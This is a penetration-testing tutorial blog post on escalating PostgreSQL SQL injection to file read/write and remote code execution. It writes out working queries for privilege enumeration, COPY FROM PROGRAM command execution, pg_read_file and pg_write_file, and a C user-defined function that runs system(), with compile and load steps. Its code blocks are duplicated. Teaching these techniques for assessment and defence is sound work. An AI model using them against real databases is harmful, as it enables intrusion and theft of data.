PostgreSQL injection, Dumping data, Privileges, reading files and RCE

SQL injection to RCE in PostgreSQL is one of the cleaner privilege-escalation chains in Appsec, mostly because Postgres ships with legitimate features that read/write files and execute OS commands. The whole game is: get arbitrary SQL execution → check what your DB role is allowed to do → pick the mechanism that turns SQL into an OS command.

Introduction

Recently, I was involved in an assessment where a PostgreSQL database was used, and we managed to find an endpoint that allowed us to execute SQL queries without authentication. This vulnerability led to a complete application takeover, local file read, and remote code execution (RCE), all without any authentication. The severity of this finding highlights the potential impact of SQL injection vulnerabilities in PostgreSQL environments.

Throughout the assessment, I realized that while many people are familiar with RCE techniques in MySQL and MSSQL, fewer individuals are aware of the specific methods and risks associated with PostgreSQL. This article aims to bridge that knowledge gap and provide a comprehensive guide on escalating PostgreSQL injection to achieve local file read, write, and RCE.

In this article, we will focus on the techniques and steps required to escalate a PostgreSQL injection vulnerability into full-blown RCE. While we will not delve into the details of finding SQL injection vulnerabilities or crafting specific payloads, we will cover the essential concepts and practical methods that can be applied once an injection point has been identified.

The Bridge from SQL Injection to Command Execution

PostgreSQL supports stacked queries (multiple statements separated by ;) in many driver/language combos — this is the big enabler and a key difference from MySQL's mysqli, where stacking is usually blocked. If your injection point flows into a driver that allows multiple statements, you get:

'; <arbitrary statement>; --

'; <arbitrary statement>; --

If you can't stack, you're not dead — you can still call functions inside UNION/subquery/boolean contexts. Functions like pg_read_file(), pg_ls_dir() return values, so a UNION-based injection can read files even without stacking. But full RCE almost always wants stacked queries or a context that lets you CREATE/COPY.

Step Zero: Enumerate Your Privileges

Before anything best course of action is determining version of DB, who you are running as and what can be done which this user, what privileges you have access to and which databases. Converting SQL injection to RCE completely depends on your privileges as privileges will decide your route. So it is crucial to enumerate privileges carefully before futhere exploitation.

Something to note different versions may have different roles (newer versions have more roles for more granular control of users) which are assigned to a newly created user.

Version can be enumerated by selecting version() method:

select version();

select version();

Current user and session user can be enumerated by:

SELECT current_user, session_user;

SELECT current_user, session_user;

Current users is the user which we are running as and session user is the user which started the connection and session with DB.

The SQL query SELECT usesuper FROM pg_user WHERE usename = current_user; is used to check whether the current user has superuser privileges in PostgreSQL.

Let's break it down:

pg_user is a system catalog table in PostgreSQL that stores information about database users.
usename is a column in the pg_user table that represents the name of the user.
usesuper is a boolean column in the pg_user table that indicates whether the user is a superuser or not.
current_user is a PostgreSQL function that returns the name of the user currently executing the query.

Response contains true confirming we have super user privileges.

What roles/privileges are available for our current user.

SELECT rolname FROM pg_roles WHERE pg_has_role(current_user, oid, 'member');

SELECT rolname FROM pg_roles WHERE pg_has_role(current_user, oid, 'member');

Breaking the query:

SELECT rolename we want to retreive rolename.
FROM pg_roles : Table pg_roles contains information about roles.
WHERE pg_has_role(current_user, oid, 'member'): This is the condition that filters the roles based on the current user's membership.

pg_has_role() is a PostgreSQL function that checks whether a role (first argument) is a member of another role (second argument).
current_user is a special function that returns the name of the currently executing user.
oid is a column in the pg_roles table that represents the unique object identifier of each role.
'member' is a privilege type that indicates the membership relationship between roles.

Response confirms that this user is database owner, can read everything and write to every directory what PostgreSQL is allowed. Also we can observe pg_execute_server_program meaning we can execute OS commands. This is perfect for RCE.

Methods for Remote Code Execution (RCE)

PostgreSQL has 3 methods for RCE which are quite different from each other and confusing for almost everyone learning this for the first time.

Method 1: COPY FROM PROGRAM

COPY FROM PROGRAM executes a command on underlying OS and reads the output into a table. Then you have to just read the contents of the table.

Method 2: File Read/Write

Here PostgreSQL provides us features to read or write to a file. This means we can read configuration files, write to file system (shell script or web shell).

Method 3: User-Defined Functions (UDFs)

PostgreSQL allows creating user-defined functions (UDFs) in various programming languages including C. So attacker creates a malicious functions in C which can execute a command.

Create a function -> compile it into .so (linux) or .dll (windows). -> Import this into PostgreSQL (CREATE FUNCTION) -> RCE.

Somewhat complicated but works when system admins harden systems partially. Only caveat is that we have to upload this library to the server.

Practical Demonstration

Method 1: COPY FROM PROGRAM

As we discussed this will execute a command and enter the output into a table. Query looks something like:

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

Breaking this down. First we have to check if table with the name cmd_exec exists if it does delete it. Create a table with name cmd_exec (we will dump data into this table) column name is output and type is text.

Next copy output of 'id' command into this table and read the table to read the output.

Although there is also COPY … TO PROGRAM which allows us to write parameter to stdin of the command. But for our case we dont need this because we can just execute commands with flags parameters in our demo case and for a simple domo it is skimpily not required.

Output of ls -la command.

NOTE: Because we are piping output of a command into a table and reading the table it is a good practice to drop the table (delete) after we are done with testing.

SELECT tablename FROM pg_tables WHERE schemaname = 'public';

# DELETE TABLE
DROP TABLE cmd_exec;

SELECT tablename FROM pg_tables WHERE schemaname = 'public';

# DELETE TABLE
DROP TABLE cmd_exec;

Method 2: File Read/Write

Listing contents of directory :

SELECT pg_ls_dir('/var/lib/postgresql');

SELECT pg_ls_dir('/var/lib/postgresql');

pg_ls_dir is the function and the directory which we wish to list is the parameter.

Read (great for UNION-based contexts since these return values):

SELECT pg_read_file('/var/lib/postgresql/.psql_history');

SELECT pg_read_file('/var/lib/postgresql/.psql_history');

pg_read_file is the function and path to file is the parameter

Write:

SELECT pg_write_file('/tmp/test.txt', 'This is a test line', true);

SELECT pg_write_file('/tmp/test.txt', 'This is a test line', true);

pg_write_file is the function and which file we have to write to is the parameter. But for some reason pg_write_file is not available despite wirte permissions. A walk around would be using COPY … TO PROGRAM

Result /tmp/test.txt was created

Method 3: User-Defined Functions (UDFs)

The classic sqlmap approach. Write a malicious .so (Linux) / .dll (Windows) to disk using lo_export or COPY, then bind a function to a symbol in it:

Step 1: List out the languages which are available

SELECT lanname, lanacl FROM pg_language;

SELECT lanname, lanacl FROM pg_language;

Understanding the query: The pg_language is a table which stores information about which languages are available for creating functions, Stored Procedures and triggers in DB. We are just selecting lanname is name of language, lanacl means which privileges granted to roles for using this language (basically ACL).

Step 2: Create C code

#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <utils/builtins.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(udf_payload);

Datum udf_payload(PG_FUNCTION_ARGS) {
    system("id > /dev/shm/id.txt");
    PG_RETURN_TEXT_P(cstring_to_text("UDF executed successfully"));
}

#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <utils/builtins.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(udf_payload);

Datum udf_payload(PG_FUNCTION_ARGS) {
    system("id > /dev/shm/id.txt");
    PG_RETURN_TEXT_P(cstring_to_text("UDF executed successfully"));
}

This code defines a UDF named udf_payload that executes the id command using the system() function and outputs the result into /dev/shm/id.txt

NOTE: Some specifics for the C code depend on version, installation and addons of PostgreSQL.

Step 2: Compile C code and transfer to the server

gcc -I$(pg_config --includedir-server) -fPIC -shared -o udf_payload.so udf_payload.c

gcc -I$(pg_config --includedir-server) -fPIC -shared -o udf_payload.so udf_payload.c

Make sure you have the PostgreSQL development libraries installed (postgresql-devel or libpq-dev package).

Copy the compiled udf_payload.so file to a directory accessible by PostgreSQL, such as the PostgreSQL library directory (e.g., /usr/lib/postgresql//lib/ or /tmp/).

   CREATE FUNCTION udf_payload() RETURNS text
   AS '/path/to/udf_payload.so', 'udf_payload'
   LANGUAGE C STRICT;

   CREATE FUNCTION udf_payload() RETURNS text
   AS '/path/to/udf_payload.so', 'udf_payload'
   LANGUAGE C STRICT;

Step 3: Execute UDF to trigger code execution

SELECT udf_payload();

SELECT udf_payload();

Step 4: Drop the function (clean up)

DROP FUNCTION udf_payload();

DROP FUNCTION udf_payload();

Compiling, importing and calling the udf_payload function should have created id.txt file in /dev/shm with output of id command which is conformed with cat command.

Hence we have covered all the three major remote code execution paths in PostgreSQL.

Conclusion

In this blog post, we explored the process of escalating SQL injection to local file read, write, and remote code execution (RCE) in PostgreSQL. We discussed three different methods: COPY FROM PROGRAM, file read/write primitives, and User-Defined Functions (UDFs). Each method has its own capabilities and challenges, but they all demonstrate the potential severity of SQL injection vulnerabilities when exploited.

NOTE: None of the screenshots are from the actual assessment.

My Linkedin : https://www.linkedin.com/in/aryan-gupta-cyber/

Contents

Introduction

The Bridge from SQL Injection to Command Execution

Step Zero: Enumerate Your Privileges

Methods for Remote Code Execution (RCE)

Method 1: COPY FROM PROGRAM

Method 2: File Read/Write

Method 3: User-Defined Functions (UDFs)

Practical Demonstration

Method 1: COPY FROM PROGRAM

Method 2: File Read/Write

Method 3: User-Defined Functions (UDFs)

Conclusion